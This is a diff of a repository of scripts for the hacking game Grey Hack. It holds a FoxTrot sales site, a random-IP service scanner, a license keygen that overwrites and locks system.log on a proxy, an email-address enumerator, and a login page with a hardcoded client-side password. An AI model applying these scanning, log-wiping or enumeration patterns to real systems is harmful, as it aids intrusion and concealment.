foxlib.src Normal file

File diff suppressed because it is too large Load diff

274
foxtrothtml.html Normal file
View file

@ -0,0 +1,274 @@
<html>
<title>FoxTrot -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</title>
<style>
body { font: 10px Times, serif; color: #707070; text-align: center; }
html{
background-color:#0E0E0E;
}
div{
text-align: center;
font-size: 14px;
}
h1 {
color: #6A855E;
text-shadow: 4px 4px 0px #445239;
}
h2 {
color: #495942;
}
p {
color: white;
font-size: 14px;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #445239;
color: black;
}
.body{
height: 100%;
margin-top: 145px;
}
.scroll-window{
height:600px;
overflow-y: auto;
margin-bottom: 120px;
}
.header{
position: fixed;
top: -10px;
background-color: #0E0E0E;
}
.div-main{
margin-top:-24px;
}
.footer{
position: fixed;
bottom: 0px;
background-color: #0E0E0E;
}
.text-body {
text-align: left;
font-size:14px;
padding-left: 24px;
color:gray;
}
.text-note {
text-align: left;
font-size:12px;
padding-left: 48px;
color:#505050;
}
.rotate {
transform: rotate(2deg);
}
#div-main {
display: block;
margin-bottom: 800px;
}
#div-downloads {
display: none;
margin-bottom: 500px;
}
#div-features {
display: none;
margin-bottom: 500px;
}
#div-contact {
display: none;
}
</style>
<table class="header">
<tr>
<td>
<br><center><div class="rotate"><h1 style="font-size:35px;">FoxTrot</h1></div></center>
<p>By Clover</p>
<hr><div style="margin-right:38px">
<button class="btn btn-primary" onclick="mainFunc()"> home </button>
<button class="btn btn-primary" onclick="featFunc()"> features </button>
<button class="btn btn-primary" onclick="contFunc()"> contact </button>
<button class="btn btn-primary" onclick="downloadsFunc()"> downloads </button>
</div><hr>
</td>
</tr>
</table>
<table class="body">
<tr>
<td>
<div id="div-main">
<table class="scroll-window">
<tr><th><br><div><h2><u> -Welcome to the official FoxTrot website- </u></h2></div></th></tr>
<tr>
<td>
<center>
<br><br>
<p>news</p>
<table style="text-align:left;width:700px;"><tr><td>
<b class="text-body"><br>
<i class="text-note">[8.30.04]</i> <b style="color:white;">FoxTrot Re-release!<br>
<i class="text-note">[8.1.04]</i> <b style="color:white;">FoxTrot's back baby!<br>
<br><br><br><br>
</b>
</td></tr></table>
</center>
</td>
</tr>
</table>
</div>
<div id="div-downloads">
<table class="scroll-window">
<tr>
<th><div><br><h2><u>-downloads-</u></h2><br><br><button class="btn btn-primary" style="width:100px;" id="InformaticaShop" value="get files"></div></th>
</tr>
<tr>
<th><center><b style="color:white;"><u>FoxTrot</u></b><br>(script)</center></th>
<th><center><b style="color:white;"><u>FoxTrotKeyGen</u></b></center><center>(script)</center></th>
</tr>
<tr>
<td>
<p>*Official FoxTrot Program*<br></p>
</td>
<td>
<p>*Purchase FoxTrot Licenses*<br></p>
</td>
</tr>
<tr>
<td>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-features">
<table class="scroll-window">
<tr>
<th><div><br><h2><u>-features-</u></h2><br><br></div></th>
</tr>
<tr>
<th><center style="margin-top:20px;"><b style="color:white;"><u>Free</u></b><br>Free</center></th>
</tr>
<tr>
<td>
<p>-included features-<br>
*MetaXploit*<br>
Automated hacking tool<br><p>
</td>
</tr>
<tr>
<th><center><b style="color:white;"><u>Default</u></b><br>200 Bytes</center></th>
<th><center><b style="color:white;"><u>Advanced</u></b><br>1000 Bytes</center></th>
</tr>
<tr>
<td>
<p>-included features-<br>
*MetaXploit*<br>
Automated hacking tool<br>
*Sniffer*<br>
Sniff network traffic<br></p>
</td>
<td>
<p>-included features-<br>
*All from default PLUS*<br>
*BruteSSH*<br>
Run through a list of passwords to attempt an SSH connection<br>
*Fyrwall*<br>
Solstice Security brand Antivirus<br>
*FoxVPN*<br>
VPN Service used by sneaky foxes to hide their tracks!<br></p>
</td>
</tr>
<tr>
<td>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-contact">
<table class="scroll-window">
<tr><th><div><br><h2><u>-contact-</u></h2></div></th></tr>
<tr>
<td><br><br>
<br><div><b>discord.gg/9qFt4KJgtE</b></div>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<table class="footer">
<tr>
<td>
<hr><center>| FoxTrot, by Clover |</center>
</td>
</tr>
</table>
</div>
<script>
var main = document.getElementById("div-main");
var downloads = document.getElementById("div-downloads");
var features = document.getElementById("div-features");
var contact = document.getElementById("div-contact");
function mainFunc() {
if (main.style.display === "none") {
main.style.display = "block";
downloads.style.display = "none";
features.style.display = "none";
contact.style.display = "none";
} else {
main.style.display = "block";
}
}
function downloadsFunc() {
if (downloads.style.display === "none") {
downloads.style.display = "block";
main.style.display = "none";
features.style.display = "none";
contact.style.display = "none";
} else {
downloads.style.display = "block";
}
}
function featFunc() {
if (features.style.display === "none") {
features.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
contact.style.display = "none";
} else {
features.style.display = "block";
}
}
function contFunc() {
if (contact.style.display === "none") {
contact.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
features.style.display = "none";
} else {
contact.style.display = "block";
}
}
</script>
</html>

8
ghs.code-workspace Normal file
View file

@ -0,0 +1,8 @@
{
"folders": [
{
"path": "."
}
],
"settings": {}
}

31
intcount.src Normal file
View file

@ -0,0 +1,31 @@
import_code("/root/Fox.so")
counters=1
alpha="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
al=alpha.len
if params.len == 1 then base=params[0].to_int else base=10
if typeof(base) != "number" then base=10
if base < 2 or base > 62 then base=10
c=[]
while 1
for _ in range(c.len,counters-1)
c.push(0)
end for
while 1
bin=[]
for q in range(0,counters-1)
if c[q] == base then
c[q]=0
if q != counters-1 then c[q+1]=c[q+1]+1 else continue
end if
bin.push(alpha[c[q]])
end for
bin.reverse
bin=bin.join("")
if base != 10 then print FoxLib.General.ParseInt(bin,10,base)
c[0]=c[0]+1
print bin+char(10)
wait(0.1)
if floor((c[:counters].sum-1)/(base-1)) == counters then break
end while
counters=counters+1
end while

455
intlib.src Normal file
View file

@ -0,0 +1,455 @@
//clover intlib
int={}
int.baseint=function()
out={}
out.int=[]
out.neg=0
out.classID="BigInt"
out.string=function(self)
st=""
if self.neg then st="-"
for i in self.int
st=st+str(i)
end for
return st
end function
out.trim=function(self)
num=int.copy(self)
i=0
while num.int[i] == 0 and num.int[i:].len != 1
i=i+1
end while
num.int=num.int[i:]
return num
end function
return out
end function
int.copy=function(num=0)
if typeof(num) != "BigInt" then return 0
out=int.baseint
out.neg=num.neg
for i in num.int
out.int.push(i)
end for
return out
end function
int.zero=function(length=1)
newint=int.baseint
while newint.int.len < length
newint.int.push(0)
end while
return newint
end function
int.one=function(length=1)
newint=int.baseint
while newint.int.len < length
if newint.int.len+1 == length then newint.int.push(1) else newint.int.push(0)
end while
return newint
end function
int.rnd=function(length=1,neg=0)
newint=int.baseint
newint.neg=neg
while newint.int.len < length
newint.int.push(floor(rnd*10))
end while
return newint
end function
int.fromint=function(num=0)
newint=int.baseint
if typeof(num) != "string" then num=str(num)
if typeof (val(num)) != "number" then return 0
if num[0] == "-" then
newint.neg=1
num=num[1:]
end if
for i in num
if "0123456789".indexOf(i) == null then break
newint.int.push(val(i))
end for
return newint
end function
int.toint=function(num=0)
if typeof(num) != "BigInt" then return 0
return val(num.string)
end function
//ok done with integer stuff, now on to more mathy things
math={}
math.add=function(num1=0,num2=0)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
actuallySubtraction=0
negAdd=0
if num1.neg and num2.neg then negAdd=1
if not negAdd then
if num1.neg then actuallySubtraction=1
if num2.neg then actuallySubtraction=1
end if
if actuallySubtraction then
if num1.neg then
num1=int.copy(num1)
num1.neg=0
return math.sub(num2,num1)
else if num2.neg then
num2=int.copy(num2)
num2.neg=0
return math.sub(num1,num2)
end if
end if
num1.int.reverse
num2.int.reverse
outnum=int.baseint
outnum.neg=negAdd
i=0
while 1
n=[]
if not num1.int.indexes.hasIndex(i) and not num2.int.indexes.hasIndex(i) then break
if not num1.int.indexes.hasIndex(i) then
outnum.int.push(num2.int[i])
i=i+1
continue
end if
if not num2.int.indexes.hasIndex(i) then
outnum.int.push(num1.int[i])
i=i+1
continue
end if
calc=num1.int[i]+num2.int[i]
if calc >= 10 then
c=i+1
added=0
while num1.int.indexes.hasIndex(c)
if num1.int[c] < 9 then
num1.int[c] = num1.int[c]+1
added=1
break
end if
if num1.int[c] == 9 then num1.int[c] = 0
c=c+1
end while
if not num1.int.hasIndex(c) and not added then num1.int.push(1)
calc=calc-10
//outnum.int.push(calc)
end if
for c in str(calc)
n.push(c)
end for
n.reverse
for c in n
outnum.int.push(val(c))
end for
i=i+1
end while
outnum.int.reverse
num1.int.reverse
num2.int.reverse
if int.toint(outnum) == 0 then outnum.neg=0
return outnum
end function
math.sub=function(num1=0,num2=0)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
actuallyAddition=0
negAdd=0
if num1.neg and num2.neg then actuallyAddition=1
if actuallyAddition then
num1.neg=0
num2.neg=0
return math.add(num1,num2)
end if
if not actuallyAddition then
if num1.neg then
num1.neg=0
negAdd=negAdd+1%2
end if
if num2.neg then
num2.neg=0
negAdd=negAdd+1%2
end if
end if
num1.int.reverse
num2.int.reverse
outnum=int.baseint
outnum.neg=negAdd
i=0
if num2.int.len > num1.int.len then
num3=int.copy(num1)
num1=int.copy(num2)
num2=int.copy(num3)
end if
while 1
n=[]
if not num1.int.indexes.hasIndex(i) and not num2.int.indexes.hasIndex(i) then break
if not num1.int.indexes.hasIndex(i) then
outnum.int.push(num2.int[i])
i=i+1
continue
end if
if not num2.int.indexes.hasIndex(i) then
outnum.int.push(num1.int[i])
i=i+1
continue
end if
calc=num1.int[i]-num2.int[i]
if calc < 0 then
if num1.int.indexes.hasIndex(i+1) then
outnum.int.push(10+calc)
num1.int[i+1]=num1.int[i+1]-1
end if
if not num1.int.indexes.hasIndex(i+1) then
outnum.int.push(0-calc)
outnum.neg=(outnum.neg+1)%2
end if
else
for c in str(calc)
n.push(c)
end for
n.reverse
for c in n
outnum.int.push(val(c))
end for
end if
i=i+1
end while
outnum.int.reverse
num1.int.reverse
num2.int.reverse
if int.toint(outnum) == 0 then outnum.neg=0
return outnum
end function
math.mul=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
isNegative=0
if (num1.neg and not num2.neg) or (num2.neg and not num1.neg) then isNegative=1
c=1
outnum=int.copy(num1)
while c != int.toint(num2)
c=c+1
outnum=math.add(outnum,num1)
end while
outnum.neg=isNegative
return outnum
end function
math.div=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
isNegative=0
if (num1.neg and not num2.neg) or (num2.neg and not num1.neg) then isNegative=1
c=0
outnum=int.copy(num1)
outnum.neg=isNegative
while int.toint(outnum) >= int.toint(num2)
outnum=math.sub(outnum,num2)
c=c+1
end while
outnum=int.fromint(c)
outnum.neg=isNegative
return outnum
end function
math.mod=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
isNegative=0
if num1.neg or num2.neg then isNegative=1
outnum=int.copy(num1)
while int.toint(outnum) >= int.toint(num2)
outnum=math.sub(outnum,num2)
end while
return outnum
end function
math.exp=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
if num2.neg then
num2.neg=0
return math.exp(math.div(1,num1),num2)
end if
c=1
outnum=int.copy(num1)
while c != int.toint(num2)
c=c+1
outnum=math.mul(outnum,num1)
end while
return outnum
end function
math.equalto=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
num1=num1.trim
num2=num2.trim
if num1.int.len != num2.int.len then return 0
c=0
num1.int.reverse
num2.int.reverse
while c < num1.int.len
if num1.int[c] != num2.int[c] then return 0
c=c+1
end while
num1.int.reverse
num2.int.reverse
return 1
end function
math.greater=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
num1=num1.trim
num2=num2.trim
if num1.int.len > num2.int.len then return 1
if num1.int.len < num2.int.len then return 0
c=0
while c < num1.int.len
if num1.int[c] > num2.int[c] then return 1
c=c+1
end while
return 0
end function
math.less=function(num1,num2)
return math.greater(num2,num1)
end function
math.greatere=function(num1,num2)
if typeof(num1) != "BigInt" then
num1=int.fromint(num1)
if num1 == 0 then return 0
end if
if typeof(num2) != "BigInt" then
num2=int.fromint(num2)
if num2 == 0 then return 0
end if
num1=num1.trim
num2=num2.trim
if num1.int.len < num2.int.len then return 0
c=0
num1.int.reverse
num2.int.reverse
while num2.int.len != num1.int.len
num2.int.push(0)
end while
safe=num2.trim.int.len-num1.trim.int.len
while c < num1.int.len
if num1.int[c] < num2.int[c] and c != safe then return 0
c=c+1
end while
num1.int.reverse
num2.int.reverse
return 1
end function
math.lesse=function(num1,num2)
return math.greatere(num2,num1)
end function

94
ipgen.src Normal file
View file

@ -0,0 +1,94 @@
if params.len > 2 or params.len < 1 then exit("[lib] (ver)\nssh, repo, chat, http, ftp, rshell, router")
ver=null
ips=get_shell.host_computer.File(current_path+"/ips")
if not ips then
get_shell.host_computer.touch(current_path,"ips")
ips=get_shell.host_computer.File(current_path+"/ips")
end if
lib=params[0]
if lib == "repo" then lib = "repository"
if params.len == 2 then ver=params[1]
getRandomIp=function()
//1-223.0-255.0-255.0-255
octets=[]
for i in range(0,3)
if i == 0 then octets.push(ceil(rnd*223)) else octets.push(floor(rnd*256))
end for
return octets.join(".")
end function
st=time
while 1
while 1
ip=getRandomIp
if not get_router(ip) or is_lan_ip(ip) then continue
break
end while
router=get_router(ip)
if lib == "router" then
v=router.kernel_version
print("Checking "+ip+" "+v+"...")
if not ver then
print(ip+" "+lib+" "+v+" > "+current_path+"/ips")
print("Time since last found "+(time - st))
st=time
cont=ips.get_content.split("\n")
while cont.indexOf("") != null
cont.remove(cont.indexOf(""))
end while
cont.push(ip+" "+lib+"#"+v)
ips.set_content(cont.join(char(10)))
continue
end if
if v == ver then
print(ip+" "+lib+" "+v+" > "+current_path+"/ips")
print("Time since last found "+(time - st))
st=time
cont=ips.get_content.split("\n")
while cont.indexOf("") != null
cont.remove(cont.indexOf(""))
end while
cont.push(ip+" "+lib+"#"+v)
ips.set_content(cont.join(char(10)))
continue
end if
continue
end if
ports=router.used_ports
rports=[]
for port in ports
serv=[port.port_number]
serv=serv+router.port_info(port).split(" ")
rports.push(serv)
end for
for port in rports
print("Checking "+ip+" "+port.join(" ")+"...")
if not ver then
if port[1] == lib then
print(ip+" "+port[1]+" "+port[-1]+" > "+current_path+"/ips")
print("Time since last found "+(time - st))
st=time
cont=ips.get_content.split("\n")
while cont.indexOf("") != null
cont.remove(cont.indexOf(""))
end while
cont.push(ip+" "+port[1]+"#"+port[-1])
ips.set_content(cont.join(char(10)))
continue
end if
end if
if port[1] == lib and port[-1] == ver then
print(ip+" "+port[1]+" "+port[-1]+" > "+current_path+"/ips")
print("Time since last found "+(time - st))
st=time
cont=ips.get_content.split("\n")
while cont.indexOf("") != null
cont.remove(cont.indexOf(""))
end while
cont.push(ip+" "+port[1]+"#"+port[-1])
ips.set_content(cont.join(char(10)))
continue
end if
end for
end while

113
keygen.src Normal file
View file

@ -0,0 +1,113 @@
import_code("/bin/Bytes")
apt=include_lib("/lib/aptclient.so")
if apt then
inSource=apt.show
if inSource == "153.105.188.80 repository not found" then
apt.add_repo
apt.update
end if
if typeof(apt.check_upgrade(program_path)) == "number" and apt.check_upgrade(program_path) then
apt.install("FoxTrotKeyGen",parent_path(program_path))
exit("Updated")
end if
end if
genRandomString=function(length)
newString=""
alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890"
while newString.len != length
string=alpha[floor(rnd()*alpha.len)]
newString=newString+string
end while
return newString
end function
printMenu=function(items)
menu=[]
for i in range(0,items.len-1)
menu.push("<color=#445239>\_</color><color=#6A855E>[</color><color=#cf6f25>"+(i+1)+"</color><color=#6A855E>] </color><color=#cf6f25>"+items[i]+"</color>")
end for
menu.push("<color=#445239>\_</color><color=#6A855E>[</color><color=#cf6f25>0</color><color=#6A855E>] </color><color=#cf6f25>Exit</color>")
menu.push("<color=#445239>|</color>")
print(menu.join("\n"))
end function
print("Connecting to FoxTrot servers. . .")
proxy=get_shell.connect_service
if typeof(proxy) != "shell" then exit("Could not establish connection")
proxy.host_computer.touch("/var","system.bak")
bak=proxy.host_computer.File("/var/system.bak")
bak.set_content(genRandomString(512))
bak.move("/var/system.log")
wait(.2)
log=proxy.host_computer.File("/var/system.log")
log.chmod("o-wrx")
log.chmod("g-wrx")
log.chmod("u-wrx")
ls=proxy.connect_service
if typeof(ls) == "shell" then print("Connection established!") else exit("Could not establish connection")
if ls.host_computer.File("/server/.FoxTrot/maintenance").get_content != "0" then exit("<color=red><b>-={"+ls.host_computer.File("/server/.FoxTrot/maintenance").get_content+"}=-</b></color>")
print("<color=#445239><b>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</b></color>")
print("<color=#cf6f25> ______ ______ __ __ __ ______ __ </color>")
print("<color=#cf6f25> / ____/ ____ _ __ /_ __/ _____ ____ / /_ / //_/ ___ __ __ / ____/ ___ ____ ___ _____ ____ _ / /_ ____ _____</color>")
print("<color=#cf6f25> / /_ / __ \ | |/_/ / / / ___/ / __ \ / __/ / ,< / _ \ / / / / / / __ / _ \ / __ \ / _ \ / ___/ / __ `/ / __/ / __ \ / ___/</color>")
print("<color=#cf6f25> / __/ / /_/ / _> < / / / / / /_/ // /_ / /| | / __/ / /_/ / / /_/ / / __/ / / / // __/ / / / /_/ / / /_ / /_/ / / / </color>")
print("<color=#cf6f25>/_/ \____/ /_/|_| /_/ /_/ \____/ \__/ /_/ |_| \___/ \__, / \____/ \___/ /_/ /_/ \___/ /_/ \__,_/ \__/ \____/ /_/ </color>")
print("<color=#cf6f25> /____/ </color>")
print("<color=#445239><b>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</b></color>")
print("<color=#445239>/</color>")
printMenu(["Advanced [100 Bytes]","Default [20 Bytes]"])
while 1
opt=user_input("<color=#445239>\_</color><color=#6A855E>[</color><color=#cf6f25>#: ")
if opt == "0" then exit("<color=#cf6f25>Exiting!</color>")
if opt == "1" then
print("<color=red><b>YOU ARE PURCHASING : Advanced License : FOR : 100 Bytes : CONTINUE?</b></color>")
conf=user_input("<color=red>[y/N]$").lower
if conf != "y" then continue
output=Bytes.transfer("Clover","100")
if output.bool then
print(output.out)
else
exit(output.err)
end if
start=[genRandomString(8),genRandomString(8)]
key="ALL"+genRandomString(1)+"-"+start.join("-")
file=ls.host_computer.File("/server/.FoxTrot/open_licenses")
licenses=file.get_content.split("\n")
licenses.push(key)
file.set_content(licenses.join(char(10)))
apt.install("foxtrot")
print("FoxTrot installed")
print("<color=red><b>REMEMBER YOUR LICENSE KEY! IT MAY BE USED FOR ACCOUNT OWNERSHIP VERIFICATION</b></color>")
print("\nYour key is: <b>"+key+"</b>")
print("Repeat: Your key is: <b>"+key+"</b>")
exit("Repeat: Your key is: <b>"+key+"</b>")
end if
if opt == "2" then
print("<color=red><b>YOU ARE PURCHASING : Default License : FOR : 20 Bytes : CONTINUE?</b></color>")
conf=user_input("<color=red>[y/N]$").lower
if conf != "y" then continue
output=Bytes.transfer("Clover","20")
if output.bool then
print(output.out)
else
exit(output.err)
end if
start=[genRandomString(8),genRandomString(8)]
key="V"+genRandomString(4)+"-"+start.join("-")
file=ls.host_computer.File("/server/.FoxTrot/open_licenses")
licenses=file.get_content.split("\n")
licenses.push(key)
file.set_content(licenses.join(char(10)))
apt.install("foxtrot")
print("FoxTrot installed")
print("<color=red><b>REMEMBER YOUR LICENSE KEY! IT MAY BE USED FOR ACCOUNT OWNERSHIP VERIFICATION</b></color>")
print("\nYour key is: <b>"+key+"</b>")
print("Repeat: Your key is: <b>"+key+"</b>")
exit("Repeat: Your key is: <b>"+key+"</b>")
end if
end while

67
login.html Normal file
View file

@ -0,0 +1,67 @@
<!doctype html>
<title>lockout</title>
<style>
body { text-align: center; padding: 25px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: black; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
html{
background-color: whitesmoke;
height:100%;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #333;
color: white;
}
</style>
<h1>server login</h1>
<div id="main">
<input type="password" id="password" placeholder="password"><br><br>
<button class="btn btn-primary" onclick="tryPass()"> login </button>
<p id="attempts">Attempts Left: null</p>
</div>
<div id="success">
<button class="btn btn-primary" id="InformaticaShop"> open shop </button>
</div>
<div id="failed">
<p>failed to log in, try again!</p>
</div>
<script>
var main = document.getElementById("main");
var downloads = document.getElementById("success");
var failed = document.getElementById("failed");
var attempts = document.getElementById("attempts");
let left = 2;
attempts.textContent = "Attempts left: "+left.toString();
downloads.style.display="none";
failed.style.display="none";
function tryPass(){
var attempt = document.getElementById("password").value;
var pass = "password";
if (attempt == pass) {
main.style.display="none";
downloads.style.display="block";
} else {
left--;
if (left === 0) {
main.style.display="none";
failed.style.display="block";
};
attempts.textContent = "Attempts left: "+left.toString();
};
};
</script>

2945
lunarcmd.src Normal file

File diff suppressed because it is too large Load diff

28
mail_finder.src Normal file
View file

@ -0,0 +1,28 @@
print("<b>Hide & Seek</b>")
file=get_shell.host_computer.File(current_path+"/websites")
mailfile=get_shell.host_computer.File(current_path+"/email")
if not file then get_shell.host_computer.touch(current_path,"websites")
file=get_shell.host_computer.File(current_path+"/websites")
if file.get_content.len<1 then exit("No email websites found in "+current_path+"/websites")
if mailfile then
umail=mailfile.get_content.split(":")[0]
umaill=mailfile.get_content.split(":")[1]
else
umail=user_input("Finder email: ")
umaill=user_input("Finder email pass: ")
end if
mail=mail_login(umail,umaill)
if not mailfile then
get_shell.host_computer.touch(current_path,"email")
get_shell.host_computer.File(current_path+"/email").set_content(umail+":"+umaill)
end if
if typeof(mail) == "string" then exit(mail)
username=user_input("User: ")
print("Finding <b>"+username+"</b>'s email in database. . .")
for line in file.get_content.split(char(10))
if not line.len then continue
print("Trying "+username+"@"+line+" "+(__line_idx+1)+"/"+file.get_content.split(char(10)).len)
email=mail.send(username+"@"+line,"null","<b><color=red>Found you.</color></b>")
if typeof(email) == "number" then exit("<b>FOUND "+username+"@"+line+"</b>")
wait(2)
end for

199
mailservers.txt Normal file
View file

@ -0,0 +1,199 @@
necaei.info
lennarl.info
sabreau.info
uniturylanda.net
lenbraay.org
pittstocompany.net
ippontcorpc.net
marscoay.org
yonesellc.org
smitean.info
meritorchc.com
blacegroupc.info
reeportex.com
sachubbellsta.net
intechovltd.com
olarkga.com
mastevz.info
hosteonf.net
cincintab.net
worthlehf.org
remarkeru.net
tegrysleroah.info
stargcorpd.org
omacifiai.com
turylandardltd.net
ileartcs.com
anitrigf.com
pontacn.org
trywiare.info
xidenmk.net
organnieo.com
ol-myersonsec.com
sempracs.org
eilleraa.com
praxaircorpm.com
lincorfn.org
spectraninc.info
arthinginc.info
eliancedac.org
intersonicono.net
corpentakl.info
ucenetcorp.info
wellsonih.com
vellyfrom.com
cific-ajv.info
ilina-scie.org
bertzta.net
reyersonaz.info
terpilgrimedgroup.info
chiquqa.net
e-martmeld.org
waterhg.org
alcoajs.org
magellpollc.com
safecogz.net
blicorabr.info
ort-mcincb.com
ibneftzv.com
actereng.org
internve.net
eracleodv.info
peoplescompanye.com
masteoinca.net
seartcx.com
getteakg.com
fairgannif.info
avayadw.com
damsoalq.org
cableju.com
toneywellpu.net
antrykn.info
limithfbe.net
taylesofbh.org
corpennarak.net
compusagroupm.info
gettelegroupa.org
dentecwm.info
arkanscorpu.net
gramazfp.com
orolancm.org
mellgroupb.com
westcompanyaf.com
ixterneaj.com
err-mcgiw.info
ight-riwf.org
towensaz.com
ternscorpr.org
ewellocn.info
idantryi.net
generllcj.org
flackabb.info
guardinaii.org
vinmersd.org
metrijj.info
esoroxoc.net
ergysgpl.com
ugettltdq.info
tarbiafu.org
deervt.com
blicompy.net
ghessofa.info
aneseltdo.info
minionsdt.com
onecacompanyz.org
mina-pacorpc.com
nrontincu.info
sierraby.com
bertsonsax.net
rolardiah.net
publixsr.com
eimanabv.com
erchevronicb.info
caborfo.org
verwoodoq.info
pmorganaj.com
epsicaae.net
auto-owcp.info
deluxecorpo.net
liatewatedhealt.com
texasamf.com
fifthincq.info
whollltdg.com
accorpou.org
equingv.net
thropllcx.net
yethaof.com
kheedalh.com
erinterai.info
appliedif.org
oplercra.org
dantaldaf.com
inoiservuc.com
marlesfc.com
crediteds.com
taldynbgr.info
lectrontera.info
timedtcompanyc.org
aramarkon.info
watscottsv.net
ynegyboa.org
epsialtde.org
adioshlm.org
ountineralp.net
paychexy.net
meadwaychexgroup.com
firsteiners.org
amgenut.org
bercarbc.info
damsoang.com
quilacra.net
albemingtgroup.net
ethonecaltd.info
adardabh.com
trigghh.org
asterahk.com
pointileq.com
ishellyfront.info
urlinkerric.net
enixterlv.com
flowersag.net
lackrolas.net
markellcompanyf.org
ronicorpenbu.info
pediagbx.org
merickdm.net
ernationaai.org
oaktronllcc.info
merrife.org
directrck.org
lemingtp.info
enuitasby.net
elhartancb.com
cuitysk.net
tarwocorpk.com
tronicardk.net
burytefs.net
mentrump.com
alcorahs.info
eidoszd.info
salltergcorp.org
eminituc.net
tersonihg.net
efleetwock.com
davistllci.org
caborfm.net
ncorpegroupae.org
adardianp.com
ittstaffj.info
raymonddn.info
oenixtepk.net
ilgatercorpb.net
rocheow.org
maraaqs.net
vanguardeaq.net
fieldllcw.org
hormacbb.org
quanthcm.organnieo
olectcorpy.org
//page 20

25
maintenance.html Normal file
View file

@ -0,0 +1,25 @@
<!doctype html>
<html>
<head>
<title>Site Maintenance</title>
</head>
<body>
<style>
body { text-align: center; padding: 25px; }
h1 { font-size: 50px; }
